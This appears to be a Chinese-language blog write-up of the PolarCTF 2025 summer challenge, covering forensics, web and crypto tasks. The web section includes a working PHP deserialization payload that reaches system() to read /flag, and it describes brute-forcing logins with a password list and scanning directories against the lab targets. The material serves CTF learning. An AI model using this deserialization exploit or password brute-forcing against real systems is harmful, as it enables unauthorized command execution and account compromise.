PolarCTF2025夏季个人挑战赛

Misc

签到题

关注官方公众号,发送指定内容获取

狂热粉丝

用虚拟机打开文件夹中的.ovf文件
打开虚拟机后,打开edge浏览器,查看历史记录
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250608203516799.png
发现有一个没见过的网站Tinode
同时也可以知道它的IP地址是:192.168.192.129
(可能有人会觉得会是QQ,毕竟开始的时候QQ会自启动,但是考虑到黑客也不傻,所以一般也不会在QQ上交流这种事情)
第1题的答案是:Tinode
第4题的答案是:192.168.192.129

接下来再康康电脑主机上的文件
(养成好习惯,在查看-选项里把隐藏文件拓展名的功能关掉,还有不显示隐藏文件也顺手关了,以免纰漏)
桌面上有个chat-master,根据文件夹名可初步断定是构建聊天网站的源码
之后我们再搜罗一下,可以发现文档里面有个program,比较可疑
点进去康康
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250608205516046.png
可以看到里面有个文件名为NewWorld.exe相当可疑,初步断定是木马文件,尝试提交成功
第2题的答案是:NewWorld.exe

之后,可以打开main.py文件,毕竟所谓main,还是比较主要的东西,简单预览一下
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250608205825221.png
你看,自己都说它是木马,经提交后断定其为木马脚本
第3题的答案是:python

继续看
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250608210108023.png
注释说明对cmd.exe进行处理,可以断定加密了这个文件
第5题的答案是:cmd.exe

Web

简单的链子

linux中的whoami函数可以查看当前登录用户的名称(写给自己康的)
以下为题目的源代码

<?php  
class A {  //定义类A
    public $cmd;  //定义公共变量cmd
    function __destruct() {  //析构函数,在对象销毁时自动调用
        if (isset($this->cmd)) {
                    system($this->cmd);  
        }  
    }  
}  
  
if (isset($_GET['data'])) { //isset验证data是否为空
    $data = $_GET['data'];  
    @unserialize($data);  //@抑制错误提示,反序列化
} else {    highlight_file(__FILE__);  //没有传参则高亮代码
}

则payload如下:

<?php
class A {
    public $cmd = 'cat /flag';
}
echo urlencode(serialize(new A())); //new A()可以创建一个类A的实例
?>

(没地方跑PHP代码的推荐下面这个网站)
PHP Sandbox - Execute PHP code online through your browser
最后将输出结果赋值给data即可获得flag

命运石之门

没什么提示,所以我们先翻一下源码
看到有个注释:5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB
可以知道这个是base64编码,翻译一下可知是在说验证码不重要,所以我们这里用万能验证码
万能验证码:0000
之后再用dirsearch扫一下这个靶机地址
发现有个password.txt密码本,在靶机地址下的password.txt目录中,打开后把里面的内容复制下来
然后到burpsuite爆破阿尔法线,之后再爆破贝塔线(也是一个密码本),即可获得flag

RCE命令执行系统

进入后简单尝试一下
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610203522777.png
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610203441850.png
可以看到,有些字符和命令都被过滤掉了
再看看环境变量
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610211333195.png
看到FLAG了吗?
很遗憾,是假的捏

所以我们只能尝试一下dirsearch扫描一下
(做web题对网络环境要求还是很高的,不然扫描起来极其的慢)
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610210824311.png
OMG,冒绿光嘞
过去康康
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610210918714.png
应该是想让我们替换一下flag.txt路径的对应字符
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610211025615.png
提示我们给XOR_KEY传参,靶场名即Polar
再回到命令执行界面进行传参
assets/PolarCTF2025夏季个人挑战赛(更新中)/file-20250610211442859.png
大功告成!

Crypto

云影

这道题考察运营密码,又称“01248密码”

密码原理
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。

以下是原文链接
https://blog.csdn.net/weixin_49298265/article/details/120992796

payload如下:

a = "5212081052120120885309853"  
s = a.split('0')#以零为界,分隔成数组  
print(s)  
l = []  
for i in s:  
    sum = 0#局部变量sum  
    for j in i:  
        sum += eval(j)#eval函数可将字符串转成数字  
    l.append(chr(sum+64))#chr函数将数字再转为字符串  
print(''.join(l))#不添加分隔符,将数组l中的每个元素进行连接

最后将输出结果进行MD5加密,再套入flag{}即可

posted @ 2025-06-09 10:51  _F1ow  阅读(179)  评论(0)    收藏  举报